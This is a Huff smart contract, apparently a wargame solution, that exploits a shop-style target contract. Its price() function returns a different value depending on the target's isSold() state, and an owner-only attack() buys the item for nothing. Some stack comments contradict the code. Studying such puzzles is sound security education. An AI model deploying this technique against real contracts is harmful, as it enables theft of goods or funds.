// Storage 
#define constant OWNER_SLOT = FREE_STORAGE_POINTER()
#define constant INSTANCE_SLOT = FREE_STORAGE_POINTER()

// Constructor
#define macro CONSTRUCTOR() = takes (0) returns (0) {
    // Copy caller into OWNER_SLOT in storage
    caller          // [msg.sender] - msg.sender
    [OWNER_SLOT]    // [0x00, msg.sender] OWNER_SLOT is the 0th slot in storage
    sstore          // [] - sstore consumes top 2 stack items. The first item is
                    // the key (storage location) and the second item is the value (item to store)

    // Copy constructor argument (address) into memory
    0x20            // [0x20] - This will be the size for the the code we will copy to memory
    dup1            // [0x20, 0x20] - This will be used to calculate offset for which we will copy code from current environment
    codesize        // [code_size, 0x20, 0x20] - codesize pushes the size of code in current environment on to stack
    sub             // [offset, 0x20] - sub consumes top two items off stack and subtracts item 1 from item 2. Used to calculate offset for codecopy
    returndatasize  // [0x00, offset, 0x20] - 0x00 is the destination offset in memory for the code we will copy
    codecopy        // [] - codecopy consumes top 3 items off stack. codecopy(destOffset, offset, size)

    // Copy address from memory into INSTANCE_SLOT in storage
    returndatasize  // [0x00] - This is the offset in memory for which to copy 32 bytes from (our address param) 
    mload           // [address_param] - mload consumes top item off stack and pushes 32 bytes from that offset in memory onto stack => mload(offset)
    [INSTANCE_SLOT] // [0x01, address_param] - INSTANCE_SLOT is the 1st storage slot where we will store address_param
    sstore          // [] - sstore consumes top two items off stack. sstore(key, value)
}

// Modifier
#define macro ONLY_OWNER() = takes (0) returns (0) {
    caller          // [msg.sender]
    [OWNER_SLOT]    // [0x00] - storage slot where owner is stored
    sload           // [owner] - loaded owner address onto stack from storage slot 0x00
    eq              // [0/1] - consumes top two items and returns 1 if equal, 0 otherwise
    is_owner        // [is_owner_label, 0/1] - byte offset in code for execution path
    jumpi           // [] - consumes top two items and execution path jumps to is_owner_label if 2nd item is not 0

    0x00            // [0x00] - size
    0x00            // [0x00, 0x00] - byte offset
    revert          // [] - reverts with data of size 0x00, starting from byte offset 0x00 in memory (reverts with no data)

    is_owner:       // is_owner label. execution continues here is the caller is the owner
}

// View Function
#define macro PRICE() = takes (1) returns (0) {
    // Copy `isSold()` func sig into memory to use as calldata for STATICCALL
    0xe852e741      // [0xe852e741, 0xa035b1fe] - func sig for `isSold()`
    0x00            // [0x00, 0xe852e741, 0xa035b1fe] - byte offset
    mstore          // [0xa035b1fe] - copied func sig to memory starting at byte offset 0x00

    // MEMORY:
    // [OFFSET 0]  00000000000000000000000000000000000000000000000000000000e852e741 -> `isSold()` func sig

    // STATICCALL into instance
    [INSTANCE_SLOT] // [0x01, 0xa035b1fe] - storage slot where instance address is
    sload           // [instance, 0xa035b1fe] - copied instance address onto stack from storage slot 0x01
    0x20            // [0x20, instance, 0xa035b1fe] - size of return data (bool)
    0x20            // [0x20, 0x20, instance, 0xa035b1fe] - byte offset in memory where return data is copied
    0x04            // [0x04, 0x20, 0x20, instance, 0xa035b1fe] - size of calldata
    0x1c            // [0x1c, 0x04, 0x20, 0x20, instance, 0xa035b1fe] - byte offset in memory where calldata starts
    dup5            // [instance, 0x1c, 0x04, 0x20, 0x20, instance, 0xa035b1fe] - duplicated instance to top of stack
    gas             // [gas, instance, 0x1c, 0x04, 0x20, 0x20, instance, 0xa035b1fe] - gas to send with call (gasleft())
    staticcall      // [success, instance, 0xa035b1fe] - consumes top 6 items and pushes 1 if call was successful, 0 otherwise
    iszero          // [0/1, instance, 0xa035b1fe]
    throw_error     // [throw_error, 0/1, instance, 0xa035b1fe]
    jumpi           // [instance, 0xa035b1fe]

    // MEMORY:
    // [OFFSET 0]   00000000000000000000000000000000000000000000000000000000e852e741 -> `isSold()` func sig
    // [OFFSET 32]  0000000000000000000000000000000000000000000000000000000000000000 -> return data (bool)

    // Check return value and verify if it is equal to False (0x00)
    0x20            // [0x20, instance, 0xa035b1fe] - byte offset
    mload           // [return_data, instance, 0xa035b1fe] - copied return data onto stack starting from byte offset 0x20
    sold            // [sold, return_data, instance, 0xa035b1fe] - label for sold instruction
    jumpi           // [instance, 0xa035b1fe] - will jumpi to sold instructions if the return data is False (0x00)

    // Copy `prize()` func sig into memory to use as calldata for STATICCALL
    swap1           // [0xa035b1fe, instance]
    0x00            // [0x00, 0xa035b1fe, instance] - byte offset
    mstore          // [instance] - copied `prize()` func sig to memory starting at byte offset 0x00 (writing over prev func sig)

    // MEMORY:
    // [OFFSET 0]   00000000000000000000000000000000000000000000000000000000a035b1fe -> `prize()` func sig
    // [OFFSET 32]  0000000000000000000000000000000000000000000000000000000000000000 -> return data (bool)

    // STATICCALL into instance
    0x20            // [0x20, instance] - size of return data (uint256)
    0x20            // [0x20, 0x20, instance] - byte offset in memory where return data is copied
    0x04            // [0x04, 0x20, 0x20, instance] - size of calldata
    0x1c            // [0x1c, 0x04, 0x20, 0x20, instance] - byte offset in memory where calldata starts
    dup5            // [instance, 0x1c, 0x04, 0x20, 0x20, instance] - duplicated instance to top of stack
    gas             // [gas, instance, 0x1c, 0x04, 0x20, 0x20, instance] - gas to send with call (gasleft())
    staticcall      // [success, instance] - consumes top 6 items and pushes 1 if call was successful, 0 otherwise
    iszero          // [0/1, instance]
    throw_error     // [throw_error, 0/1, instance]
    jumpi           // [instance]
    pop             // []

    // MEMORY:
    // [OFFSET 0]   00000000000000000000000000000000000000000000000000000000a035b1fe -> `prize()` func sig
    // [OFFSET 32]  0000000000000000000000000000000000000000000000000000000000000064 -> return data (uint256)

    // Return return data
    0x20           // [0x20] - size of return data (uint256)
    0x20           // [0x20, 0x20] - byte offset in memory (start of return data)
    return         // []

    sold:
        pop
        pop       // []
        0x20      // [0x20] - size of return data
        0x40      // [0x40, 0x20] - byte offset in memory (where return data starts)
        return    // [] - returning 0
}

// Attack function
#define macro ATTACK() = takes(0) returns (0) {
    // Copy `buy()` func sig into memory to use as calldata for CALL
    0xa035b1fee852e741a6f2ae3a // [func_sigs] - func sigs for `price()`, `isSold()` `buy()`
    0x00            // [0x00, func_sigs] - byte offset
    mstore          // [] - copied func sigs into memory starting at offset 0x00

    // MEMORY:
    // [OFFSET 0]  0000000000000000000000000000000000000000a035b1fee852e741a6f2ae3a -> func sigs

    // CALL into instance - `buy()`
    [INSTANCE_SLOT] // [0x01] - storage slot where instance address is
    sload           // [instance] - copied instance onto stack from storage slot 0x01
    0x00            // [0x00, instance] - size of return data (none)
    0x00            // [0x00, 0x00, instance] - byte offset in memory where return data is copied
    0x04            // [0x04, 0x00, 0x00, instance] - size of calldata (fuunc sig)
    0x1c            // [0x1c, 0x04, 0x00, 0x00, instance] - byte offset in memory where calldata starts
    0x00            // [value, 0x1c, 0x04, 0x00, 0x00, instance] - msg.value to send with call (none)
    dup6            // [instance, value, 0x1c, 0x04, 0x00, 0x00, instance] - calling instance
    gas             // [gas, instance, value, 0x1c, 0x04, 0x00, 0x00, instance] - gas to send with call (gasleft())
    call            // [success, instance] - consumes top 7 items and pushes 1 onto stack if call did not revert, 0 otherwise
    iszero          // [0/1, instance]
    throw_error     // [throw_error, 0/1, instance]
    jumpi           // [instance]

    // STATICCALL into instance - `isSold()`
    0x20           // [0x20, instance] - size of return data (bool)
    0x20           // [0x20, 0x20, instance] - byte offset in memory where return data is copied
    0x04           // [0x04, 0x20, 0x20, instance] - size of calldata
    0x18           // [0x18, 0x04, 0x20, 0x20, instance] - byte offset in memory where calldata starts
    dup5           // [instance, 0x18, 0x04, 0x20, 0x20, instance] - calling instance
    gas            // [gas, instance, 0x18, 0x04, 0x20, 0x20, instance] - gas to send with call (gaslef())
    staticcall     // [success, instance] - consumes top 6 items from stack and pushes 1 if call was successful, 0 otherwise
    iszero         // [0/1, instance]
    throw_error    // [throw_error, 0/1, instance]
    jumpi          // [instance]

    // Check return value and verify that it is not 0
    0x20 
    mload
    iszero 
    throw_error
    jumpi 

    // STATICCALL into instance - `price()`
    0x20           // [0x20, instance] - size of return data (bool)
    0x20           // [0x20, 0x20, instance] - byte offset in memory where return data is copied
    0x04           // [0x04, 0x20, 0x20, instance] - size of calldata
    0x14           // [0x14, 0x04, 0x20, 0x20, instance] - byte offset in memory where calldata starts
    dup5           // [instance, 0x14, 0x04, 0x20, 0x20, instance] - calling instance
    gas            // [gas, instance, 0x14, 0x04, 0x20, 0x20, instance] - gas to send with call (gaslef())
    staticcall     // [success, instance] - consumes top 6 items from stack and pushes 1 if call was successful, 0 otherwise
    iszero         // [0/1, instance]
    throw_error    // [throw_error, 0/1, instance]
    jumpi          // [instance]

    // Check return value and verify it is 0
    0x20 
    mload
    throw_error
    jumpi
}

// Function Dispatching
#define macro MAIN() = takes (0) returns (0) {
    // Identify which function is being called
    0x00         // [0x00] - the byte offset in calldata that we will read 32 bytes from
    calldataload // [calldata] - calldataload consumes top item from stack and pushes 32 bytes of calldata, from byte offset, onto stack
    0xe0         // [0xe0, calldata] - 0xe0 is 224 bits
    shr          // [func_sig] - shr consumes top two items off the stack, performs a logical right shift and pushes resulting value of stack
                 // Here we are shifting the calldata 224 bits to the right (256 - 224 = 32 bits = 4 bytes) and isolating the first 4 bytes (function sig)

    dup1         // [func_sig, func_sig]
    0xa035b1fe   // [0xa035b1fe, func_sig, func_sig] - pushing func sig of 'price()' onto the stack
    eq           // [0/1, func_sig] - eq consumes top two items from stack and pushes 1 onto stack if they are equal, otherwise 0
    price       // [price, 0/1, func_sig] - price is a label (byte offset) for the price instructions
    jumpi        // [func_sig] = jumpi consumes top two items from stack and jumps to new execution path if second item is not 0, otherwise executions continues on current path

    dup1         // [func_sig, func_sig]
    0x9e5faafc   // [0x9e5faafc, func_sig, func_sig] - pushing func sig of 'attack()' onto the stack
    eq           // [0/1, func_sig] - eq consumes top two items from stack and pushes 1 onto stack if they are equal, otherwise 0
    attack       // [attack_label, 0/1, func_sig] - attack_label is a label (byte offset) for the attack instructions
    jumpi        // [func_sig] = jumpi consumes top two items from stack and jumps to new execution path if second item is not 0, otherwise executions continues on current path

    throw_error: // label for revert path
        0x00 0x00 revert

    price:       // label for price instructions
        PRICE()

    attack:      // label for attack instructions
        ONLY_OWNER()
        ATTACK()
}
